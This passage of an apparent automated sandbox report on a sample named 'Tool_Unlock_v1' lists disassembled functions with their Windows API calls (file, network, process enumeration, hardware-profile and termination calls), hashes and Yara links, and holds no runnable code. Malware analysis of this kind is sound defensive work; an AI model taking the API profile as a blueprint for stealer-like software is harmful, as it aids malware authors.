Opcode Fuzzy Hash: a84a9d95cab3fc1d01d6b1b9219db7ccdf0885523acdc1814047f8a774d9c774
Instruction Fuzzy Hash: F6F05870E0A715CFC704CF18D08466AB7F1BF88709F00C65CE89C8B225E7B099858B86

Function 00429B98 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExA.KERNEL32(?,00000000,?,00000104), ref: 00429BA6

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 70d7d957f54891b2145cf5a1a42a603dea027e0c41fb1ceb3646303fa318dd25
Instruction ID: 4b118137597e874e0878c2f4f373c1e3825403fc2b10870d072aaedf75e7e65f
Opcode Fuzzy Hash: 70d7d957f54891b2145cf5a1a42a603dea027e0c41fb1ceb3646303fa318dd25
Instruction Fuzzy Hash: 74E04FF57010406FD201FB29ECC9A56B324FB99B56F05401DF6448B251EB6498968761

Function 0040F8B8 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0040F8DE

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 3a76f61e41491fc073775149d6e03d5f7620253f78e55417b9abf86f480c23a3
Instruction ID: 48d76627dbc5d57d85cb1764ad730bd6c01465e7c7dda59787e031a3eb9f1586
Opcode Fuzzy Hash: 3a76f61e41491fc073775149d6e03d5f7620253f78e55417b9abf86f480c23a3
Instruction Fuzzy Hash: A1E0C935200205AFD705CF55D8C0DAAB7F5FF49700B054569E9418B261E771D990DB65

Function 00410ACA Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00410AFE

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b784e80b9d1a42cf71b6a0c0c66b55dc21dd53ea7ca35d9703b9ec7bdb2d773c
Instruction ID: 81821c4764c57ef8e198fc9df3d4a4196e151322d25c8c521b87b4cc81ff20bd
Opcode Fuzzy Hash: b784e80b9d1a42cf71b6a0c0c66b55dc21dd53ea7ca35d9703b9ec7bdb2d773c
Instruction Fuzzy Hash: 32F039715043408BD704EF7CEC9475977E0FF84314F145A2CE894932A2EB749A85CB5A

Function 00410C76 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00410C91

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: eb1a392a3b1f9d97f976267afa2d173eee1ced02de33617e180879961c03ec3e
Instruction ID: 107fc9dded445d45cc3bb733b2e603de8e964ea13287819b04f1f7ba4f7778d3
Opcode Fuzzy Hash: eb1a392a3b1f9d97f976267afa2d173eee1ced02de33617e180879961c03ec3e
Instruction Fuzzy Hash: 0CE04830B40206AFDB04DF65CCC4E6AB7BAFFC4208B208458D10197215EA70DD06CBA5

Function 00428CF0 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00428D17

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9ac13b13cc2bf3f970f7133cf79aebb08b26c289cc75a45f1fffff1adfdf19e2
Instruction ID: 60a2b233770afa7a53e9c8e4eed4ae4f0b5061a110e63fcb646c0f4f23e18197
Opcode Fuzzy Hash: 9ac13b13cc2bf3f970f7133cf79aebb08b26c289cc75a45f1fffff1adfdf19e2
Instruction Fuzzy Hash: ECE04F7A601380CFD304DF28DC98C1F7369ABC53383268A14EC10A77E4EB30ADC18A91

Function 00425E50 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 00425E72

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: a98fcc094d973a231cd5bb8170693655fb729d116d679828af1b679b5eafb2c3
Instruction ID: b52fe88e2c0b078fce9f73dfb73c1b3bab0aff5a0b493dd1848ceb488b67eb7a
Opcode Fuzzy Hash: a98fcc094d973a231cd5bb8170693655fb729d116d679828af1b679b5eafb2c3
Instruction Fuzzy Hash: 56E0C2B22012046BD718EF24DD40D9B37BCABC7348F02842CE85483255EA70E804CBDA

Function 0042A470 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 0042A48A

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 85eb47bf0ebf8c70ec81be43f2990110e3ed7f88ac766839c40da548b7ed29e1
Instruction ID: 40da45fc82a50a7520541d3edf833ae1c63b91ac396760dd29cbe2d90feb92bc
Opcode Fuzzy Hash: 85eb47bf0ebf8c70ec81be43f2990110e3ed7f88ac766839c40da548b7ed29e1
Instruction Fuzzy Hash: 3EE0BD76712150AFCB08AF28D999E9977E8EF5A212305056DF902C7320EBB0ED018A16

Function 00409DC0 Relevance: 1.5, APIs: 1, Instructions: 17filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000007CF,?), ref: 00409DD8

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 51a1d6e57771a1c459e086810df6cf7504df37a7522e6f564ac732c961f799b8
Instruction ID: 9fab87b2c41f548e0be38a789a3ddafd7423b99dd5bf4ffbfd325b06516827f1
Opcode Fuzzy Hash: 51a1d6e57771a1c459e086810df6cf7504df37a7522e6f564ac732c961f799b8
Instruction Fuzzy Hash: E0E04FB1A0221AEFDF00CF14CC88D86B772FF887087104458D409A7161D2B1AA47CB81

Function 00407220 Relevance: 1.5, APIs: 1, Instructions: 16filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000007CF,?), ref: 00407232

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 08da71a86b56b4e40c52e0114086399e6fe31b007248c6dbbc3aea9adab0a47d
Instruction ID: acddfac3ba7d846db26dfe5fa788d2232e99cf475adb3f3554209165c30dde36
Opcode Fuzzy Hash: 08da71a86b56b4e40c52e0114086399e6fe31b007248c6dbbc3aea9adab0a47d
Instruction Fuzzy Hash: C5D01274600105DFEB1C8B29CCA9D6E37A2EF58205B04012CE506671B1F621A402CB10

Function 0042A5B0 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 0042A5C5

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: b13ae307da4aa2a74812612efdd915de119aa02a60da33e122044c00068ee49b
Instruction ID: 0d57caff3d4ecc03044e2fe7d05391925df937d2d0009becc01a1c164a615cff
Opcode Fuzzy Hash: b13ae307da4aa2a74812612efdd915de119aa02a60da33e122044c00068ee49b
Instruction Fuzzy Hash: FBE08C30300801AFC608CF04C88ACA87BA9AF843097008458F403DB226EBB8E9978B96

Function 0040DBD8 Relevance: 1.5, APIs: 1, Instructions: 16networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00001000,00000000), ref: 0040DBF2

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: db1c3183824f20b955151c186b034ff70744c4d3f33de38e7d17499fc2d0290b
Instruction ID: 1f11d0db008efc2615c5cced81d5e37efb57f4300bea36d63591a088c9519f1d
Opcode Fuzzy Hash: db1c3183824f20b955151c186b034ff70744c4d3f33de38e7d17499fc2d0290b
Instruction Fuzzy Hash: 94E01730304281DBE719CB19DC61F6A72DAEBC8345F14452CA681872E5EAB1ED14CB45

Function 00409410 Relevance: 1.5, APIs: 1, Instructions: 15filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000000C7,?), ref: 00409422

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 8aeb9c0adf272ccd98a27f13f5ca866da3287b425df8c2346b172561fa8e0423
Instruction ID: dff8c3ac1d519c24ffd77e72a16cf55d06ca6f5dba76713e14204f395067c5a3
Opcode Fuzzy Hash: 8aeb9c0adf272ccd98a27f13f5ca866da3287b425df8c2346b172561fa8e0423
Instruction Fuzzy Hash: 01E0EC31B4A206DFD724DB54CD5DF6A77B6BF54301B144158B11AD7254E620B8028B55

Function 0042EDE4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 0042EDFD

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 1900afdba27b772e88bc0b232364df1fa1013117bbe2fd51155d662790475f21
Instruction ID: cc975f7636ff13cd94def4fa2d365bc78d6b84a622a874c14534a85ef484d267
Opcode Fuzzy Hash: 1900afdba27b772e88bc0b232364df1fa1013117bbe2fd51155d662790475f21
Instruction Fuzzy Hash: D2E08C302161858FDF46CF38C829B997BA0AF42300F0500ACD855E7260EBA96E00CF05

Function 00415366 Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 0041537F

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 0812ee7172f948467e4f396acc8e3b2d2c1037b6b4d798995d2a27598c5b5be2
Instruction ID: dae3c0ca78d53a3fa1b0392d22a5f628c5048a8dc47632061c8d87fcb6efb210
Opcode Fuzzy Hash: 0812ee7172f948467e4f396acc8e3b2d2c1037b6b4d798995d2a27598c5b5be2
Instruction Fuzzy Hash: FDE0E230201049EFDF08DF18D898BA977F0EB04248F4000A8EA0AA7261F6326801CF48

Function 00429307 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00429314

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 19b260d0c500d1721a6a0ce11f3afab5ddbb10a16748cc772a84dde5475cec2f
Instruction ID: 05a0043937c60814d86d60160c857c8f6a76f45c971e66ea1005d7b4925dc5f0
Opcode Fuzzy Hash: 19b260d0c500d1721a6a0ce11f3afab5ddbb10a16748cc772a84dde5475cec2f
Instruction Fuzzy Hash: 2ED05E3030004CDFEB48DF58C842F9873A4AB04305F000128F646F71E1FBA1AC048B10

Function 00427380 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32(?,?), ref: 0042738E

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: dc757690995eab41cc8e00909a87b442756ce06dc513739273166bbebbb3eefa
Instruction ID: b2ff4ba4cbab8521ec93413e6a62fc350b6e0f774b7d26ba397f47f56a3f70ee
Opcode Fuzzy Hash: dc757690995eab41cc8e00909a87b442756ce06dc513739273166bbebbb3eefa
Instruction Fuzzy Hash: 65D09270316685AFDB49CF58CAA9F6573F0FB44608B08496CE90AC3260E7A4AC15DB45

Function 00409EBF Relevance: 1.5, APIs: 1, Instructions: 11networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 00409EC7

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CloseHandleInternet
String ID:
API String ID: 1081599783-0
Opcode ID: b8276e6877ae2e2e902e562606dbda3714e221bc6b86cc34a64ee9b93c3ac1fd
Instruction ID: 52711e89000e2ae9aaf00f8d46bdfa2022b653e3a4dae986aedaf950abef51df
Opcode Fuzzy Hash: b8276e6877ae2e2e902e562606dbda3714e221bc6b86cc34a64ee9b93c3ac1fd
Instruction Fuzzy Hash: ACD09E7590611ADFCB00DFA4DC8485FB7B5BF483097144421F40AA3261D6B1E915DB16

Function 0042A658 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

TerminateProcess.KERNEL32(?,00000000), ref: 0042A660

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: a923226b359fa1e090b21deb86596191a71f42d5bfcc376e452a85822203298d
Instruction ID: 03d0f813066b3450288b20b2a0299d32c13a5fb3d8a84e79303b5add32f15273
Opcode Fuzzy Hash: a923226b359fa1e090b21deb86596191a71f42d5bfcc376e452a85822203298d
Instruction Fuzzy Hash: 3CB01230304400FFC2148B009C4AF2977306B01702F100001F10357054EF786492571F

Function 0041278C Relevance: 1.3, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041279C

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: a2b50b88a378d1797339f89103c98da25683aa193d39742d636b17d7b5b0146b
Instruction ID: da46a9d4fe03d8c8941b207082c71c13cb26c0faf5ee412da43ed8d742a8e5dc
Opcode Fuzzy Hash: a2b50b88a378d1797339f89103c98da25683aa193d39742d636b17d7b5b0146b
Instruction Fuzzy Hash: 1D3150B5A003089FDB14EF69DC81B9977F9BF48301F044869E859D7351E770AA44CF55

Function 0040F488 Relevance: 1.3, APIs: 1, Instructions: 34sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 0040F495

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c7ba5814330bd228b9785e042f3a8f5a77d3ea101a22a48f0db21d3a0eaa406f
Instruction ID: ef132a0d990ee74375b07e2fc8fcca55463aef5e224cc098bd739752bb0cf51e
Opcode Fuzzy Hash: c7ba5814330bd228b9785e042f3a8f5a77d3ea101a22a48f0db21d3a0eaa406f
Instruction Fuzzy Hash: 30014B75A007099FDB04DFA8DD81A99B7B0BFA9310F144614ED05E7342EB30EAA0CB85

Function 004010B0 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 004010D0

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 73ab59a58ba3b0a45d14f8c538af7c4f5fb358d87ae8756bb7f517068a6f990a
Instruction ID: e754f3d3e7d4b7ec0df0b2dcca311a76620e6690a85d4cc0eb4192306999e2d7
Opcode Fuzzy Hash: 73ab59a58ba3b0a45d14f8c538af7c4f5fb358d87ae8756bb7f517068a6f990a
Instruction Fuzzy Hash: E6E06832601358ABD224B73D8C1883B73EEAF852047158A38EC80CB332FB21DDD186D4

Function 0040F86F Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 0040F887

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: db2582970b5f218cd43f9920e3d330165ad811797a7992555462754c9b385e5e
Instruction ID: e0596f85a1cf36be0a7c5d090d1877fc4419602219a7dbc67eab2777f206858d
Opcode Fuzzy Hash: db2582970b5f218cd43f9920e3d330165ad811797a7992555462754c9b385e5e
Instruction Fuzzy Hash: E3F0AE74200345EFDB4ACF69C4E0E523BA2EB89308B1444A8EE06CB3A1E771E941CB15

Function 00401800 Relevance: 1.3, APIs: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?), ref: 0040180F

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 3ea7dd29aa801f35f8e6ec0af372ede230f028a5aaa29cdc408fc65764b40c6f
Instruction ID: d1d637f652befc7c313ad4ac1f9e50ef102e8d08244b1c22cadd4d3ba3dfb5d3
Opcode Fuzzy Hash: 3ea7dd29aa801f35f8e6ec0af372ede230f028a5aaa29cdc408fc65764b40c6f
Instruction Fuzzy Hash: EED012B37063019BD720CF29CCC19863B67AFD4251B1982B4F514833A6DB32F862CA56

Function 0042EC10 Relevance: 1.3, APIs: 1, Instructions: 13sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0042EC1A

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9809d27cc0c1bbbbaa3c340a1e7b09a248a5843678d03df8044b68f59b46f860
Instruction ID: 0f10ccc0a637845aaf1a331c830a177a0fea4f9eef248b88a8eb3534b58fbffa
Opcode Fuzzy Hash: 9809d27cc0c1bbbbaa3c340a1e7b09a248a5843678d03df8044b68f59b46f860
Instruction Fuzzy Hash: D8D05EB4302156CFDB04CB15ECC48193362FBC8740335802CD6111BBA4EE706801DB17

Function 00428E11 Relevance: 1.3, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00428E1C

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 7ab826af0b3c6e193afaf23f0e67286be6e629830d38d6f7abce1d8c22dea139
Instruction ID: acb3541deada4c1490e9b4f57a0c784b1255956184c17e175c6632fb94e5dff8
Opcode Fuzzy Hash: 7ab826af0b3c6e193afaf23f0e67286be6e629830d38d6f7abce1d8c22dea139
Instruction Fuzzy Hash: 6DD01730300642DFDA48CF62C8A8E20B3A2BF88609700816CD60687650EB60B986CB45

Non-executed Functions

Function 00351287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(00000000,?,0034E58D), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000,?,?,00000028,00348363), ref: 0034C210

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0035138F
IsValidCodePage.KERNEL32(00000000), ref: 003513CD
IsValidLocale.KERNEL32(?,00000001), ref: 003513E0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00351428
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00351443

Strings

,K6, xrefs: 0035133C

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,K6
API String ID: 415426439-304178625
Opcode ID: 1be9eaae9b6c93fbb214511d6026ff3b8f0f7a3b59ee8de49ed50a6fddd555b9
Instruction ID: b75b0031fac25ff66391bff52f9cdd5f7d3c8d6eda116a05abf3088f5b7e6ca0
Opcode Fuzzy Hash: 1be9eaae9b6c93fbb214511d6026ff3b8f0f7a3b59ee8de49ed50a6fddd555b9
Instruction Fuzzy Hash: 18515075A10205ABDB12EFA5CC45FBE77B8EF05742F154469FD01EB1A0E7709A48CB60

Function 00351A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,003513BD,00000002,00000000,?,?,?,003513BD,?,00000000), ref: 00351AA0
GetLocaleInfoW.KERNEL32(?,20001004,003513BD,00000002,00000000,?,?,?,003513BD,?,00000000), ref: 00351AC9
GetACP.KERNEL32(?,?,003513BD,?,00000000), ref: 00351ADE

Strings

OCP, xrefs: 00351A5B
ACP, xrefs: 00351A25

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 6ba24369cf3d398084071c2507831b32fc7296dca43e8120810ab033ee620b7d
Instruction ID: a91ed3cd781a6e7d4ccb68eec1e644554e4f8b06d546151bffaaeb387ce663d7
Opcode Fuzzy Hash: 6ba24369cf3d398084071c2507831b32fc7296dca43e8120810ab033ee620b7d
Instruction Fuzzy Hash: 79218322B02101AAEB378F64C901F9773AAEB54B56B978564ED0AD7224F732DD48C390

Function 00331FB0 Relevance: 7.7, APIs: 5, Instructions: 200fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00331240: _strlen.LIBCMT ref: 003312BA

GetFileSize.KERNEL32(00000000,00000000), ref: 00332046
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0033206B
CloseHandle.KERNEL32(00000000), ref: 0033207A
_strlen.LIBCMT ref: 003320CD
CloseHandle.KERNEL32(00000000), ref: 003321FD

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: 2b3bcfe583943ece15edf6ffb109e09b55c635f440a3b542056e6ed6ec5ea661
Instruction ID: 535b1716504f876fba3c3a3f65850b4a1a2fc6a6175db34b6cd1f31a3c7b5cb5
Opcode Fuzzy Hash: 2b3bcfe583943ece15edf6ffb109e09b55c635f440a3b542056e6ed6ec5ea661
Instruction Fuzzy Hash: 6F71F4B2C006189FCB12DFA4DC85BAEBBB5FF48310F140629E815BB391E7759945CBA1

Function 00349CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
